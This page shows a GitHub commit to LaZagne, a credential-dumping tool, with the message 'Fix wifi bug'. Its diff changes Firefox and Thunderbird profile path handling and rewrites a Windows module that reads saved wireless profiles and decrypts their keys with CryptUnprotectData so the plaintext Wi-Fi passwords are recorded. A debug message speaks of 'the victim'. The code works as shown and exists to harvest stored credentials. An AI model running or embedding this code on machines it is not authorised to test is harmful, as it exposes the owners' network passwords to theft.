Skip to content

Commit

Permalink
Fix wifi bug
Browse files Browse the repository at this point in the history
  • Loading branch information
AlessandroZ committed Feb 19, 2015
1 parent 6160453 commit fb38047
Show file tree
Hide file tree
Showing 3 changed files with 68 additions and 68 deletions.
6 changes: 3 additions & 3 deletions Windows/src/LaZagne/softwares/browsers/mozilla.py
Original file line number Diff line number Diff line change
Expand Up @@ -113,12 +113,12 @@ def __del__(self):
def get_path(self, software_name):
if 'APPDATA' in os.environ:
if software_name == 'Firefox':
path = os.environ['APPDATA'] + '\Mozilla\Firefox'
path = '%s\Mozilla\Firefox' % str(os.environ['APPDATA'])
elif software_name == 'Thunderbird':
path = os.environ['APPDATA'] + os.environ.get('HOMEPATH' ) + '\Thunderbird'
path = '%s%s\Thunderbird' % (os.environ['APPDATA'], os.environ.get('HOMEPATH' ))
else:
print_debug('The APPDATA environment variable is not definded.\nUse the -s option and specify the folder path of the victim\nPath: <HOMEPATH>\Application Data\Mozilla\Firefox\Profiles\<PROFILE_NAME>')
return
return

return path

Expand Down
130 changes: 65 additions & 65 deletions Windows/src/LaZagne/softwares/wifi/wifi.py
Original file line number Diff line number Diff line change
@@ -1,66 +1,66 @@
import xml.etree.cElementTree as ET
import os, win32crypt
import binascii
from config.write_output import print_output, print_debug
from config.constant import *
from config.header import Header

class Wifi():

def retrieve_password(self):
# print title
Header().title_debug('Wifi')

if 'ALLUSERSPROFILE' in os.environ:
directory = os.environ['ALLUSERSPROFILE'] + os.sep + 'Microsoft\Wlansvc\Profiles\Interfaces'
else:
print_debug('ERROR', 'Environment variable (ALLUSERSPROFILE) has not been found.')
return

# for windows Vista or higher
if os.path.exists(directory):
rep = []
pwdFound = []
for repository in os.listdir(directory):
if os.path.isdir(directory + os.sep + repository):

rep = directory + os.sep + repository
for file in os.listdir(rep):
values = {}
if os.path.isfile(rep + os.sep + file):
f = rep + os.sep + file
tree = ET.ElementTree(file=f)
root = tree.getroot()
xmlns = root.tag.split("}")[0] + '}'

iterate = False
for elem in tree.iter():
if elem.tag.endswith('SSID'):
for w in elem:
if w.tag == xmlns + 'name':
values['SSID'] = w.text

if elem.tag.endswith('authentication'):
values['Authentication'] = elem.text

if elem.tag.endswith('protected'):
values['protected'] = elem.text

if elem.tag.endswith('keyMaterial'):
key = elem.text
try:
binary_string = binascii.unhexlify(key)
password = win32crypt.CryptUnprotectData(binary_string, None, None, None, 0)[1]
except:
password = '[!] Try with System privileges'
values['password'] = elem.text

# store credentials
if len(values) != 0:
pwdFound.append(values)

# print the results
print_output("Wifi", pwdFound)
else:
print_debug('INFO', 'No credentials found.\nFile containing passwords not found:\n%s' % directory)
import xml.etree.cElementTree as ET
import os, win32crypt
import binascii
from config.write_output import print_output, print_debug
from config.constant import *
from config.header import Header

class Wifi():

def retrieve_password(self):
# print title
Header().title_debug('Wifi')

if 'ALLUSERSPROFILE' in os.environ:
directory = os.environ['ALLUSERSPROFILE'] + os.sep + 'Microsoft\Wlansvc\Profiles\Interfaces'
else:
print_debug('ERROR', 'Environment variable (ALLUSERSPROFILE) has not been found.')
return

# for windows Vista or higher
if os.path.exists(directory):
rep = []
pwdFound = []
for repository in os.listdir(directory):
if os.path.isdir(directory + os.sep + repository):

rep = directory + os.sep + repository
for file in os.listdir(rep):
values = {}
if os.path.isfile(rep + os.sep + file):
f = rep + os.sep + file
tree = ET.ElementTree(file=f)
root = tree.getroot()
xmlns = root.tag.split("}")[0] + '}'

iterate = False
for elem in tree.iter():
if elem.tag.endswith('SSID'):
for w in elem:
if w.tag == xmlns + 'name':
values['SSID'] = w.text

if elem.tag.endswith('authentication'):
values['Authentication'] = elem.text

if elem.tag.endswith('protected'):
values['Protected'] = elem.text

if elem.tag.endswith('keyMaterial'):
key = elem.text
try:
binary_string = binascii.unhexlify(key)
password = win32crypt.CryptUnprotectData(binary_string, None, None, None, 0)[1]
values['Password'] = password
except:
values['INFO'] = '[!] Password not found. Try with System privileges'

# store credentials
if len(values) != 0:
pwdFound.append(values)

# print the results
print_output("Wifi", pwdFound)
else:
print_debug('INFO', 'No credentials found.\nFile containing passwords not found:\n%s' % directory)

Binary file modified Windows/standalone/laZagne.exe
Binary file not shown.

0 comments on commit fb38047

Please sign in to comment.